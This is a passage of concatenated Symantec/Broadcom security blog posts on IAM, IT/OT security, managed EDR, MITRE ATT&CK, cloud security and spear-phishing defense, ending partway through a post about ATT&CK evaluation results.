“The problem with guerilla IT units doing their own thing is the very real possibility that they will not use the latest tools and, even worse, may not detect the break-in until the damage is done,” he said. “Sadly, I have personal experience on that.”
Consistency also helps team dynamics, he said. “This stuff is complex. Better having everyone working with the same set of technology so they can cross pollinate and help each other,” he says. One way to foster consistency is to use the power of the budget where centralized funding leads to centralized tool selection.
As Rosen recalled, “If we paid for it, they were happy to use it and not spend their money."
Teamwork in Action
We all know that meetings can be an ordeal, but they are unavoidable. What’s more, they have their place. Some meetings focus on discussion, letting every voice be heard’ others are all about making decisions. Warner says it’s important to understand the difference. Having both a clear purpose and an advance agenda are essential ingredient to ensure that each type of meeting is productive. Importantly, she added, get a project manager “who really knows how to herd cats and make meetings hum along.”
That also speaks to the essential question of leadership.
“You need to have a single person who has the ability to settle all debates, make informed decisions, and effect change,” Warner said. “That leader becomes indispensable in a crisis, when the whole team must act as one.”
In practice, she said, the leader must take charge and assure that responses to infections and break-ins are coordinated and complete.
But again, this is a team sport where everyone must share the bigger objective defending corporate data, thwarting break-ins and preventing downtime – all of which will give your organization an edge over competitors that ignore those things at their peril. It’s an overwrought business cliché but it’s never been truer: Teamwork will not just protect your data; it will help turn your organization into a winner.
|
Why it’s a Great Time to Evaluate IAM
Questions for you to consider when evaluating the maturity of your current IAM program
In the current age of Cyber Security, it’s easy to get lost in the wave of new threats. There are hundreds of companies specializing in each niche of cyber security, but the basics of Identity and Access (IAM) management hold firm and remain a cornerstone of an effective security program. Identity and Access Management gaps are often cited as contributors to data breaches; thus, it is paramount to ensure an effective IAM program. In this article we’ll take a high-level look at the segment and pose a few questions for you to consider when evaluating the maturity of your current IAM program.
Critical Identity and Access Management Questions
Identity and Access Management (IAM) concepts are simple and can often draw comparisons with physical security concepts. IAM asks 3 critical questions that apply to all environments whether on-premise, cloud, or hybrid:
Who has access to what?
How is access obtained (who approves it)?
Is access still needed?
These same questions are also required for industry regulations, such as the Payment Card Industry Data Security Standard (PCI DSS), Sarbanes-Oxley Act (SOX), Model Audit Rule (MAR), and Health Insurance Portability and Accountability Act (HIPAA). Nearly every industry vertical is regulated to ensure only the correct people have access to critical information (especially financial reporting). This means IAM should be considered critical to protecting your infrastructure. In today’s economy, privacy concerns also take a front seat. The EU General Data Protection Regulation (GDPR) has really stepped up the responsibility of organizations in the role of data use, protection, and distribution. Successfully navigating the concepts of privacy and consent requires modern IAM tools that enable consumer consent, self-service capabilities, and distributed environments to store data in specific regions.
If you haven’t made any changes in your IAM stack recently, there have been great advancements in efficiency, integration, and process that have made it the right time to invest.
IAM has been around for a long time, so most organizations already have a sizeable investment. This could take the form of manual processes, a homegrown solution, or purchased software. If that is true, it’s easy to let IAM take a back seat when budget rounds occur. I myself have been faced with the budgeting dilemma…”Can we just pay maintenance this year?” Yes, you could, but I’m here to tell you that now might be a great time to reevaluate. If you haven’t made any changes in your IAM stack recently, there have been great advancements in efficiency, integration, and process that have made it the right time to invest.
Identity and Access Management does more than fulfill audits and increase efficiency. Identity can improve your consumer and employee user experience. There have been real advancements in standards to create a non-password experience through FIDO v2 (UAF/U2F). Browsers have embraced these frameworks with WebAuthN to create a consistent experience for users across mobile devices. Omni-channel experiences are now possible and strengthen cross-collaboration between business groups (such as marketing) and security programs. In addition, APIs are growing at blistering rates, thanks in part to microservice architectures and new development methodologies that shorten release cycles. API security is a top consideration for public facing applications, and that requires a solid integration with Identity. Even firewalls can take advantage of identity aware policies. These examples show that a modern IAM solution can help security become a business enabler.
For existing investments, make sure to leverage the data that is already being collected. Identity Analytics can provide insight into efficiencies and patterns that might stand-out as out of compliance. Analytics can provide key performance indicators as well. It is as important to ensure that identities are created quickly for efficiency, accurately for compliance, and removed in a timely fashion for governance.
Consider these three questions as you evaluate your current IAM environment:
Is it efficient and accurate?
Does it meet the needs of the organization?
Can I leverage my existing investment to gain a competitive advantage?
Conclusion
There are new attacks every day, and that makes a solid security foundation even more important. Ultimately, the latest and greatest protections will be ineffective without a solid IAM framework. Consider looking at the big picture of IAM and how well the components are working together to solve the needs of the organization. And listen for opportunities to make security work for the business (such as improving the user experience). Check back to our blog platform for more information on how you can lay the groundwork for a security cornerstone and future articles regarding IAM.
Additional Information
NIST guidance for this space is covered in SP 800-63:
Document: Title
SP 800-63-3: Digital Identity Guidelines
SP 800-63A: Enrollment and Identity Proofing
SP 800-63B: Authentication and Lifecycle Management
SP 800-63C: Federation and Assertions
|
Why It’s Time to Rethink Enterprise Customer Care
Broadcom Software is leading the way
At Broadcom Software, we have created technology that has led to dramatic changes throughout the business world in the last few decades. But what we have noticed is that enterprise customer care and support has stayed immune from innovation, remaining very much the same as it was in the pre-Internet era. We are changing that!
When I started in this industry in the early 1990s, enterprise customers would call technical support when they needed help. It was a reactive model where support teams waited for the phone to ring. It was fine for its time, but it’s an approach that’s now showing its age.
In a modern, cloud-dominated world, where the level of complexity of technology in modern enterprises is off the charts, this “break/fix” model doesn’t scale well. Support professionals not only must always wait for problems to first occur, they are left to start late in a race against the clock. And the longer it takes to resolve a problem, the longer the downtimes.
We need to embrace a different conception of enterprise support, one that merges the formerly separate domains of customer support and business continuity.
Oftentimes, customers aren't able to deploy and use software on their own. Three decades ago, you might have been able to take a system offline for an extended time and still be okay. Try that today and an enterprise would suffer immeasurable harm to its reputation and bottom line.
When I think about what a modern support approach should be, the first thing that comes to mind is that it must involve more than picking up the phone to troubleshoot one-offs. We need to embrace a different conception of enterprise support, one that merges the formerly separate domains of customer support and business continuity.
We can also consider a replacement model that’s proactive where support will prevent problems before they interfere with an organization’s operations. As they’re trained to learn about customer needs, support teams will know what products, services and solutions will best help their clients do their jobs. One immediate impact: it will breathe new life into products that might otherwise be relegated to the status of rarely-used or problematic "shelfware.” Above all, more customers will come away from the experience satisfied that they are getting the business value they were promised originally.
Establish accountability
Begin by assigning support personnel to an account or set of accounts, where they immerse themselves in the client’s environment and control processes. This constitutes a shift away from how organizations have traditionally thought about customer support. But it replaces what’s been a largely transactional relationship with a new model where support personnel essentially function as trusted advisors. Let’s bid good riddance to the era when support teams spend a few minutes on the phone with the customer before moving on to something else.
Take ownership
A proactive support model embraces the responsibility to advocate for the customer until the issue at hand gets resolved to that customer’s satisfaction. If a customer can’t effectively operate their software – and ultimately, their business – then the job ain’t finished. It also means implementing “status page” type technology to automatically update customers on the status of their software services to increase transparency and further reduce any business impact caused by downtime.
Act with urgency
It’s obvious that we need to react and resolve issues as they come. But proactive support isn’t simply a function of responding with more than speed. It also involves putting in place the processes, tools, and other services in preparation for an incident. In the traditional support model, a server or an application might go down and the first thing the support person is going to ask is: “What version are you on? What is your configuration? Do you have any logs?” The accountable customer success professional would have already ensured that those things are defined. They would also have the customer ready to capture relevant troubleshooting information, and know how to expedite getting that information to the right subject matter expert. I talked earlier about speed. Here’s where having these preparations in place shrinks the resolution time significantly.
The next phase: predictive care
Though the reactive, “break/fix” model is still the typical paradigm, many organizations are starting to embrace at least some level of proactive support, and new innovations will continue to emerge.
For example, some support organizations are now deploying AI and Big Data to provide the capability to detect and fix problems before customers know they exist. So, if a service or even an entire data center has a problem, predictive support detects that problem and before a customer suffers an outage, automatically shift that customer to another service or data center. The advantage of this approach speaks for itself; by analyzing knowledge base search patterns and software usage trends from multiple customers, support teams can deploy pattern recognition to help identify – and avoid – problem trends.
These are just the opening innings of what we’re likely to see. Imagine a future where a support team member can call up the client who never even knew there was a problem. Something along the lines of “Hey, just to let you know, you had a problem with XYZ. We have been able to solve that for you on the back end. You don't need to worry about it. But just to let you know that this has happened in your environment and we are here for you."
Similarly, let’s say a customer’s device is starting to run out of memory due to high CPU utilization. That’s where support can inform the customer to check their device and consider restarting, reconfiguring or upgrading in order to avoid an outage. The more data that we get, the more intimately involved we can get with our customers – and the more we can help them.
We’re just at the beginning of this transformation but it’s going to happen. I’ve spent my 30-plus year career working in enterprise software and I’ve rarely seen a more compelling idea. Engineers create so many amazing things, and salespeople sell the software and get the glory that goes with reeling in big contracts. But ultimately, someone’s got to make sure that technology will be wildly successful after it gets deployed into a customer’s environment and all questions answered. And that somebody works in support.
If you are interested in how Broadcom Software can help you modernize, optimize and protect your business- contact us here.
|
Why Lingering IT/OT Divide Invites New Security Risks
Experts warn of more breaches if the two groups fail to reach common agreement when it comes to handling security
IT and OT (operational technology) come from different worlds — IT is in charge of data, information technology and cyber security, while OT typically handles IoT, sensors and manufacturing. Their hardware is different, communications protocols are different, and culture and outlook are different.
That state of affairs means they are often at odds, putting your enterprise as risk. But it doesn’t need to be that way. What’s more, organizations reap clear security benefits by making sure they work together.
It’s all About Different Priorities
To really understand the IT/OT divide, you need to understand the different priorities that drive IT and OT, said Kunal Agarwal, general manager of the Internet of Things at Symantec.
“In an IT world, the priorities are all about productivity,” he said. “If a lot of the information technology systems that you use on a daily basis went down today, there really wouldn't be any huge business implications tomorrow. But in an OT world it's all about reliability. You’re in an industrial environment which needs to be up and running all the time. So, when you’re trying to secure an OT system, one of the biggest challenges you have is how you protect something without any chance of causing downtime.”
Another security-related difference between IT and OT, according to Agarwal, is that IT has combated cyber dangers for years. So, the dangers are well-known, as are the ways to combat them, including anti-malware, fraud protection and endpoint protection. But for OT, he said, the dangers are much newer, and the solutions aren’t that clear.
“It’s really the wild, wild west there and everyday it’s getting worse,” Agarwal said
His views are echoed by Don Pearson, chief strategy officer for Inductive Automation, which makes software for industrial automation, and works with both IT and OT. Pearson notes that even the data used by IT and OT are different.
“People on the IT side are using data at the enterprise level and they’re thinking in longer time periods — weeks, months and years,” he said. “But on the OT side, they’re working in real-time and looking at data measured in milliseconds.”
Another issue is that IT works with equipment and software that is widely standardized, such as Windows and PCs. OT, though, has to handle many different types of proprietary equipment. As a result, Travis Cox, Inductive Automation’s co-director of sales engineering, said IT typically works in a top-down manner to deal with all systems in a standard way. Meanwhile, OT works from the bottom-up, because people who directly handle the disparate pieces of equipment have the best hands-on knowledge about what works.
Bridging the IT/OT Divide
In the past, enterprises could survive the IT/OT divide, because IT and OT systems were largely separate. But with the advent of the IoT revolution, the gap needs to be bridged. Networks run by IT reach into factories, which have a mix of IT devices and hardware typically overseen by OT. If the two groups don’t come to a common agreement about how to handle security, breaches may be inevitable.
The problem is ingrained in many companies because enterprises rarely combine IT and OT into a single department. An Automation World survey in 2017 found that fewer than 10 percent of companies have combined their IT and OT departments. A full 24 percent of companies surveyed say the two departments “have very little if any interaction at all.”
Given that, how does one bridge the IT/OT divide? Agarwal said each side needs to gain the trust of stakeholders on the other side. He adds, “The number one thing is to not make assumptions. Because on both sides there are people in place who have kept the business running for a long time. Don’t come in and tell them they’ve been doing something wrong. Recognize that you’re coming in to learn.”
The problem is ingrained in many companies because enterprises rarely combine IT and OT into a single department.
Only when trust has been gained that way can the two sides work properly together, he believes.
Cox believes that the IoT revolution will force IT and OT to work together more closely, because C-level executives will increasingly recognize that’s the only way they can transform the way their companies work in the IoT era.
And Pearson issues a warning: “There is a graveyard full of gravestones of corporations who didn't get with the program on previous technology transformations. Ultimately, it’s more about getting people to work together than it is about technology. There has to be C-level endorsement and IT and OT buy-in.”
Agarwal is optimistic that will happen.
“Enterprises everywhere are having IT/OT discussions today,” he said. “I’d say less than 20 percent of Symantec customers aren’t having them.” Given that, he said, he expects that the IT/OT divide will be bridged so that enterprises can keep both their IT and OT hardware and systems safe, up and running.
|
Why Machine Intelligence Holds New Hope for Short-Handed Defenders
In the cat-and-mouse game between online attackers and security professionals defending their companies' networks, the attackers have often not had to work very hard.
In the cat-and-mouse game between online attackers and security professionals defending their companies' networks, the attackers have often not had to work very hard.
The complexity of networks has meant that vulnerabilities and misconfigurations are often overlooked. While some companies have had to hire more security professionals, there are not enough to go around and most companies cannot afford the manpower to stave off attacks. Instead, defenders have turned to automation and — when has proved insufficient — machine learning and artificial intelligence.
These technologies promise to improve the recognition of threats, better identify weaknesses, and speed the response to incidents.
“Without enough talented and experienced people to go around, AI will augment what human experts can do, giving them — the equivalent of — bionics," said Brian Witten, senior director of Symantec Research Labs. "In that sense, AI can help each of them `up their game,’ shifting from just shoveling and sifting through data, to having systems that free up their brains to really play this crucial cat-and-mouse game at the strategic level."
Automation, machine learning and research into artificial intelligence represents the efforts of the industry to combat the increased complexity of information technology, the sophistication of threats, and the automation used by attackers. Yet, for all the promise of the technology to improve professionals' ability to protect their networks, the move to more intelligent systems could also work in attackers' favor.
While there have not been any publicly reported incident of attackers incorporating artificial intelligence into their strategy, automation is an old trick among the black hats of the Internet.
For the past decade, for example, attackers have increasingly created malware variants using automated algorithms and systems. Keeping up with the rapidly expanding number of malware variants - which has soared from 275 million in 2014 to 357 million two years later - requires automation and machine learning.
In addition, attackers routinely use automation as part of denial-of-service attacks and the creation of botnets. Indeed, Internet-of-things botnets — such as Mirai — automate their attacks by using brute-force password guessing to compromise vulnerable devices and then use the infected device as a platform to infect other devices.
A more recent tactic is the automated scraping of software credentials and the authentication codes for Web services — known as application-programming interface, or API, keys — that have been accidentally published to online data stores on GitHub and Amazon Web Services. In one incident, technology-services company Accenture was found to have left private data and sensitive keys on an exposed storage image on Amazon's S3 service.
Automated, Intelligent Defense
But as the bad guys look to automate their reconnaissance, companies can automate their own processes, augmenting existing capabilities with machine-learning and AI systems to defend against increasingly sophisticated attackers.
Many companies are already using automation to seek out vulnerabilities and misconfigurations in their networks. While rule-based systems have become popular, however, they can only find those issues for which they have been instructed to look, and corporate network perimeters have become more complex and porous over the years, according to AI expert Uday Veeramachaneni, the founder and CEO of PatternEx.
“No matter how much of that you do, you will be vulnerable somewhere — that is where monitoring is supposed to help," he said. "AI can both make sure that your perimeter is airtight and, when an attacker gets in, make sure that you can detect their actions."
Other companies have applied the AI field of natural-language processing to automate the gathering of intelligence on attacker activities. Automation can collect the data, while machine learning can be used to group pieces of information into similar categories.
What’s more, AI promises to bring together the context surrounding the threat data. By shadowing analysts who sift through the data, machines can learn what is important. At the same time, analyst teams processing these incidents have a great training data set to help classify things that the system may not have seen before.
Security teams looking to augment their capabilities today have already adopted a variety of automated technologies, from vulnerability management to incident response. However, making sure that automation does not cause an error to propagate and disrupt operations requires more intelligence. In addition, most companies do not have the resources to create and maintain their own security operations center (SOC).
So, for many companies, the first step is to evaluate systems that help the existing security group — whether that is a single part-time IT professional or a team of a dozen analysts — to more efficiently manage the security of their systems.
“Most security operations centers use rule-based systems, but not every company can afford a full SOC, and even those that can, should look at — and likely need — smarter automation,” Symantec's Witten said.
AI can both make sure that your perimeter is airtight and, when an attacker gets in, make sure that you can detect their actions.
|
Why MEDR is Key to Helping Government Combat Stealthy Threats
Managed EDR accelerates cyber response – which is especially important for government agencies under siege from increasingly savvy malicious attackers
In today’s threat landscape, cyber security requires more than a strong defense. State and local government agencies need the ability to proactively seek out and remediate stealthy threats to reduce the efficacy of attacks. That is the premise behind Endpoint Detection and Response (EDR) solutions. And while some agencies might believe they don’t have the skillsets or resources within their teams to effectively use EDR solutions, they shouldn’t settle for traditional methods - there is an answer.
EDR solutions are designed to help cyber teams deal with the increasing sophistication of cyber threats, as malicious actors continue to adapt their techniques to evade detection and exploit unknown vulnerabilities. The longer they remain undetected in an environment—what’s known as dwell time—the more damage they can do. In fact, a 2018 study by Ponemon Institute found the average dwell time is 191 days.
Those threats are also growing more dangerous. For example, according to Symantec’s 2019 Internet Security Threat Report, an increasing number of groups are targeting systems that will enable them to disrupt operations. So how can state and local agencies better protect their systems? It starts with the endpoint.
How Symantec EDR Can Help
Symantec EDR addresses these challenges by accelerating capabilities across the cyber lifecycle, including providing some key functions:
Detect and expose: EDR reduces the time it takes to discover a breach and determine its scope, using machine learning and behavioral analytics to identify suspicious activity and detect and prioritize incidents based on risk.
Investigate and contain: EDR includes Targeted Attack Analytics, which uses artificial intelligence and machine learning to analyze global threat data and provides threat hunters with indicators of compromise for which to search in their own environments. If indicators are found, potentially compromised endpoints can be quarantined until the investigation is complete.
Resolve: EDR supports the rapid remediation of impacted endpoints, including deleting malicious files and associated artifacts and blacklisting files to prevent future attacks.
Integrate and automate: EDR provides the cyber team with a unified view of incident data and actions from across the enterprise. It also supports the use of playbooks that automate the work flows and best practices of investigators.
Taken together, these capabilities augment the work of an agency’s security operations center (SOC), increasing the productivity of cyber experts and providing better visibility into the organization, both on-premises and in the cloud.
Still, state and local agencies might find the concept of EDR a bit daunting. Advanced investigations and threat hunting are sophisticated skillsets that agencies might not have on staff. And their cyber experts likely are already putting in long hours working on existing security projects and dealing with immediate threats, leaving little time for proactive detection and in-depth investigations.
In these cases, many agencies are considering third party security service providers who can work closely with their teams and provide these unique capabilities.
Symantec Managed Endpoint Detection and Response
Symantec MEDR provides the human expertise and resources needed to accelerate state and local agencies’ cyber detection and response programs.
Over 500 certified cyber security professionals, with extensive experience in security monitoring, threat hunting, advanced investigations, and adversary threat intelligence deliver the MEDR service from across six Symantec SOCs around the globe. MEDR analysts are armed with Symantec EDR, removing the burden of having to put another agent on the endpoint. MEDR is powered by Symantec SOC Technology Platform big data analytics and Symantec Global Intelligence Network (GIN) correlation, resources that are difficult and expensive to establish and manage in-house for many agencies.
The relationship between the MEDR team and the agency’s team is critical to help meet the agency’s security and business goals. MEDR teams are assigned by industry and region, bringing extensive experience and expertise for the unique challenges facing state and local agencies today. MEDR analysts are accessible 24x7 via phone, portal, email, and online chat and provide agencies with business reviews, custom monthly reports, emerging threat reports, threat landscape webinars, and much more. MEDR core capabilities include:
Managed Threat Hunting – automated hunting of emerging IoCs and TTPs enhanced with human analysis to detect threats that other security technologies may miss
Remote investigations – proactive investigation of suspicious threat activity across on-prem and cloud endpoints
Pre-authorized remediation – rapid remediation of compromised endpoints using pre-authorized actions, which is especially critical during off-hours attacks
Agencies require a high caliber of capabilities to maintain a strong cyber posture in today’s evolving threat landscape. For many agencies, Symantec MEDR is the best way to make that necessity a reality.
|
Why MITRE ATT&CK Matters
This collaborative framework offers defenders a common language to talk about tactics and techniques to foil Advanced Persistent Threats
There is an abundance of hype when it comes to approaches for the detection of Advanced Persistent Threats. It is common to hear about specific attack methods and how these techniques can evade the usual defenses employed by organizations. But, the critical tools required to detect, investigate and respond to targeted attacks requires a holistic view of the attack lifecycle and a real-world understanding of the attacker’s intent.
This is where the MITRE ATT&CK (Adversarial Tactics, Techniques and Common Knowledge) framework really shines. MITRE ATT&CK is a model developed from years of actual observations of how adversary groups operate. Think of a law enforcement investigator carefully documenting the methods of operation of a criminal syndicate – the resulting profile is not only a historical document of past behavior but, a powerful tool to identify and predict how that syndicate will behave in the future. This is exactly what MITRE ATT&CK enables an enterprise to do with adversary groups that have their firm in the crosshairs.
Signal and Noise
One key aspect of MITRE ATT&CK is that any specific technique detected also needs to be understood in the content of the larger attack pattern and environment in which the detection occurred. For example, observing PowerShell usage might be less meaningful in an organization where PowerShell is used for system administration. Lots of alerts on detections that lack context just drain the resources of the SOC team. But, a PowerShell detection delivered in the context of a script attempting to launch a suspicious process is far more valuable. Analysts need tools that deliver detections with contextual details that help the analyst prioritize their investigations.
MITRE ATT&CK not only enumerates the techniques that need to be detected but, maps these techniques into matrices covering the phases of attack for specific operating systems. This helps security teams assess the effectiveness of their defenses and target areas that need proactive threat hunting.
MITRE Cyber Analytics Repository
MITRE does not stop with the ATT&CK framework. They have also defined a list of best practices for investigators that combine tactics and techniques into specific procedures analysts should conduct called the Cyber Analytics Repository (CAR). Each analytic is defined to help analysts detect adversary behavior. Tools that automate these procedures give analysts a productivity boost and ensure that even entry level investigators can easily collect and analyze data required to identify adversary behaviors.
Continuous Enhancements
Lastly, MITRE has made ATT&CK and CAR collaborative projects for the entire cyber security community. This open approach ensures that new attack methods and mechanisms to detect them are widely shared.
The MITRE ATT&CK framework is so powerful because it describes tactics, the things an attacker must do to achieve their goals, as well as techniques, specific things the attacker can do to achieve those goals. The framework gives us a common language to talk about these tactics and techniques. It is equally effective at describing all attacks from the relatively mundane breach to an attack by a motivated, well-funded nation state actor.
|
Why Moving to the Cloud is a Journey, Not a One-Time Event
Q&A with Symantec’s Simon Moran on how companies can craft a hybrid security approach to cloud migration.
Everyone knows that the cloud is the future. But organizations still contemplating whether to store their sensitive data in the cloud might be excused for wondering whether their information will remain safe.
There is no shortage of news about public cloud data breaches nowadays as a worsening threat landscape continues to test the resolve of security practitioners.
Meanwhile, public cloud security involves new considerations for organizations that have traditionally relied upon on-premises security – not the least being a "shared responsibility" model, which defines a division of security responsibilities between cloud vendors and their customers.
At first blush, all that might sound daunting. But with the right cloud security, migrating your data and applications doesn’t need to turn into the Wild West. In partnership with Oracle, Symantec is delivering key components of its Integrated Cyber Defense Platform, optimized for Oracle Cloud, to help customers shift from on premises to the cloud. (Symantec also delivers security for other leading public cloud providers.)
We spoke recently with Simon Moran, Symantec’s Vice President of Cloud Security, to learn more.
Q. Why does public cloud security require special expertise?
A. Public cloud security is different from on-premises security because public cloud instances are componentized, preconfigured, and template based. They’re also dynamic, mobile, orchestrated, and automated. The public cloud model isn’t set up to support extensive configuration efforts and long tuning cycles, two hallmarks of traditional on-premises security. Also, public cloud architecture isn’t structured for retrofitted on-premises security systems. The cloud needs cloud security.
Q. What should organizations be aware of regarding cloud security?
A. Most public cloud security risks originate from components managed by the enterprise. Knowing where the lines of responsibility lie is critical. Cloud service providers are responsible for the security of the cloud. With Infrastructure as a Service deployments, organizations are responsible for the security of their data, platform, identity and access management, operating systems, antivirus and antimalware solutions, hardening of the systems, and so on. In other words, Oracle is responsible for securing the cloud itself, while customers are responsible for securing their data and workloads in the cloud. That’s where Symantec can help. Symantec protects applications and instances—the subscriber-controlled components in Oracle Cloud.
Q. How does Symantec help customers maximize the Oracle Cloud platform?
A. Symantec helps protect an enterprise’s Oracle Cloud Infrastructure platform so that they can securely migrate legacy on-premises applications to the Oracle Cloud, deploy new cloud-native applications and services, and leverage elastic capacity to meet spikes in demand. Our deep understanding of what makes the public cloud unique is key to our ability to fully protect the Oracle Cloud Infrastructure platform. Moving to the cloud is a journey— not a one-time event—so companies need a well-formulated hybrid security approach. When organizations use Symantec products in their move to the cloud, companies feel secure, knowing that we give them the same level of security that they enjoy today on premises, which is a critical consideration because public cloud deployments have a much larger attack vector.
Q. How can customers add Symantec’s security products to their Oracle Cloud deployments?
A. Symantec offers organizations everything they need to secure their Oracle Cloud Infrastructure. And they can consume our products in whichever method works best for them, whether that’s as a Bring Your Own License model or an “as-a-service” model. Our cloud security solutions also deliver capabilities such as infrastructure hardening and protection] and management of confidential data, business-aware security and risk visibility, industry leading malware and threat detection, and endpoint protection.
Q. How are Symantec and Oracle working together on cloud security?
A. We are working closely together to construct an architecture that helps customers ensure that their cloud infrastructure will always be secure. Bringing together the endpoints and the Oracle Cloud Infrastructure platform will transform cloud security for business applications. The advanced security services and monitoring capabilities of this next-generation environment will ensure complete protection from the user’s workstation to the cloud application.
If you found this information useful, you may also enjoy:
Oracle Cloud Infrastructure: Optimized Symantec Security
|
Why Phishing Continues to Spear Victims
Cyber criminals still enjoy success deploying simple phishing techniques. Here’s what companies can do to improve their defenses
Defenders had their hands full fending off zero-day attacks in 2017, with the EternalBlue and EternalRomance exploits—part of the cyber toolset reportedly stolen from the U.S. government—fueling the spread of two massive ransomware campaigns, WannaCry and NotPetya.
Yet, the most serious threat to companies—targeted attacks—used a much simpler, and yet effective, technique: Spear phishing. And it remains a popular mode of attack. The latest edition of Symantec's Internet Security Threat Report, which found that 71% of the targeted attacks detected by the company last year used spear phishing to nab the targeted user's credentials.
"When we are talking about a targeted attack, and you want to go after a specific person, phishing really works well," said Kevin Haley, director of product management for Symantec's Security Technology and Response group. "So why go through the trouble of trying to use a zero day? Why try to set up a website? Why try to do something elaborate and expensive and difficult, when you can send an e-mail and it is going to work?"
While recent mass attacks have focused on distributing crypto-mining, ransomware and banking Trojans, the most serious ones are targeted with attackers generally seeking to gather intelligence or steal intellectual property from their victims. And they involve far fewer custom tools to carry out their campaigns.
Nine out of ten targeted attackers last year sought to gain intelligence on their victims, according to the ISTR. About 11% aimed to disrupt operations while 9% seemingly were after financial gain, the report found. The numbers add up to more than 100%, because 15 percent of attackers have more than one motive.
In addition, spear phishing was the attack vector of choice, with 71 percent using targeted phishing attacks as a way to gain credentials.
This Is Not Your Father’s Phishing Kit
Spear phishing is a different beast than mass phishing. Mass phishing attacks have largely gone the way of spam, becoming an ever-present annoyance. However, generally, they have a very low success rate. Similar to spamming, phishing attacks have a very low percentage chance of success and, with current Bayesian learning and other clustering algorithms, can be detected quite quickly.
While massive phishing campaigns still take place, they are not cost-effective for attackers. If a cyber criminal wants to gain access to a specific site, the preferred method is to buy a large database of usernames and passwords from the breach of another site and try every single one on the targeted service, according to Haley. Indeed, Symantec found that you can buy 500,000 account credentials—consisting of e-mail addresses and passwords—from a data breach for $90.
"All I have to do is spend that 90 bucks, use an easily available tool, and I'm going to get — in a certain percentage of cases — the log-in and password for the account," Haley said. "It's trivial, so why should I go through all the effort of setting up a phishing attack?”
In addition, mass phishing attacks have a very short lifecycle. Most are taken down within a day.
In contrast, spear phishing attacks are almost impossible to detect, said Guy-Vincent Jourdan, associate professor of electrical engineering and computer science at the University of Ottawa.
"The takedown time is really short," he said. "If you get curious and click on a link in a phishing attack, chances are that Google is already blocking it. There is still a window of time, of course, but we are quite good at detecting those attacks."
Fending Off Spear Phishers
Spear phishing sneaks under the digital radar by only targeting one person—or at most, a few people—with a tailored attack that uses personal information and legitimate business reasons to trick workers into opening attachments or logging into a fake website.
Companies should focus on hardening their infrastructure and workforce against social engineers, because attackers will continue to use the cheap and simple method. Here are four ways that companies can continue to prepare.
Keep Training Users
Security awareness training has taken off in the past five years, and while it is not foolproof, it continues to be a good investment. More educated workers can will not only be less likely to click on phishing e-mails, but can be an additional way of detecting suspicious e-mail messages.
"Organizations spent a lot of time training their users on identifying and reporting phishing attacks—keep at it, it is important," Symantec's Haley said. "While you are going to see less of them [phishing attacks] broadly attacking your users, when someone is specifically targeting you … those attacks are a lot more damaging then a random phishing attack that ends up in someone's mailbox."
In addition, research has found that workers who fall for one phishing attack are more likely to fall for future phishing attacks, so identifying these weak links in your security and providing additional training is important.
Use Tools to Scan E-mails for Signs of Maliciousness
It's an axiom of security: Someone will always click. For that reason, companies also need to invest in tools to identify suspicious e-mails, University of Ottawa's Jourdan said.
"Of course, education, education, education, but we need to be looking at the e-mails as well," he said. Yet, spear phishing is not an easy problem to solve. "We are so good at detecting mass phishing because we have so much data. With spear phishing, we don't have that."
Machine learning and artificial intelligence can help. While educating human workers to treat e-mail with suspicion, machine pattern recognition can approach the problem much more rationally and be updated to account for the latest techniques, raising the defensive walls for all workers.
Use multi-factor authentication to reduce impact
Companies should also prepare for the worst and expect that users will give away their credentials. Adding an additional factor of authentication will make it that much harder for an attacker to use credentials to compromise an account, Jourdan said.
"The entire problem is that — if you provide information, like your bank account — it is over," he said. "But it should not be. If you have two or three factors authentication, there should be a lot more protection, so that it should not be so easy, when you screw up once, to be able to access the account."
Turn Off Unused Dual-Use Tools
Finally, companies should be aware of the most common techniques and payloads used on newly-compromised systems. Currently, attackers tend to "live off the land," using tools already found on a compromised system rather than their installing their own to evade detection.
"For the attacker, it's 'Why should I create a piece of malware, when I can use PowerShell?'" Symantec's Haley said. "It will be harder to detect and it will do exactly what I want."
Companies that take a multi-faceted approach to not only try to prevent phishing attacks, but to detect and respond to attackers that get through their defenses, have the greatest chance to limit the damage from a successful attack.
|
Why Protection Matters
Symantec Helps Early in the Attack Chain
It’s always been hard to understand the effectiveness of a security product beyond the ability to identify and block malicious executables. It’s difficult to test. Never more so than now when targeted attackers rely so heavily of Living-off-the-Land style techniques. That’s why, as we announced last month, Symantec decided to participate in the latest MITRE ATT&CK® Evaluation. This evaluation is about the ability to detect tactics and techniques. And it’s important to remember that it is not a test. It does not certify or grade. But it can provide insights not just to detection but also protection. And protection matters. Good protection comes from detection, prevention and remediation as early as possible. We felt this evaluation would help customers understand where Symantec products stood in delivering protection. We were right.
Seventeen years after introducing network protection technologies into our endpoint protection product we are still often called an “AV company”. We thought that this test might show we offer much more than that. We were right.
The results of the evaluation are now public. We encourage you to take a close look. But we wanted to take this chance to highlight some of the protection capability the results highlight. Sure, it’s a source of pride for us. But what’s important is it shows the ability of our product to detect threats and prevent them from getting on a machine. Preventing attacks upfront reduces the number of incidents for a SOC to respond to. There is clear benefit in reducing the load on the SOC and in reducing IR costs. And while breach detection is important, breach prevention is the first priority. Keeping a threat out is always better than discovering the threat inside your organization. This is why protection is important.
Preventing attacks upfront reduces the number of incidents for a SOC to respond to. There is clear benefit in reducing the load on the SOC and in reducing IR costs.
This is in no way to say that it is not important to have effective tools for threat hunting and to find threats that have infiltrated an organization. Our tools for this were also evaluated and we’ll dive into how we did there in a follow-up blog.
MITRE used its ATT&CK knowledge base to examine the ability to detect the tactics and techniques used by APT29, a group commonly believed to operate on behalf of the Russian government and responsible for the compromise of the Democratic National Committee in 2015.
APT29 is one of over two hundred targeted attack groups Symantec monitors. Over the years we’ve created file-based detections for threats and their variants created by this group. But that is reactive. What’s possible with Symantec technologies like IPS and Behavior Analysis is that we can convert detections into policies that our products can use to prevent threats we have not seen.
Let’s drill down to some specific examples from the evaluation. As a reminder, ATT&CK Evaluation was an emulation of an advanced attacker for an environment with no prevention whatsoever. Any one of the examples below would have stopped the attacker, not allowing them to use this technique to infiltrate further.
Step 1.A.1 User Pam executed payload rcs.3aka3.doc
In this test a user has been tricked into opening a file pretending to be a doc file. In the test Symantec’s SONAR technology recognized that this behavior was suspicious and alerted accordingly. In real world usage the technology would not only have alerted but would have blocked the execution of the file. No infection would have occurred.
Step 14.A.2 Executed elevated PowerShell payload
In this test an attacker once established on the machine attempts to elevate their permissions, allowing them to run additional tools to dump credentials. Symantec’s SONAR technology recognized the elevation attempt and alerted accordingly. In real world usage the technology would not only have alerted but would have blocked the elevation.
Steps 1.A.3 and 3.B.3 Established C2 channels
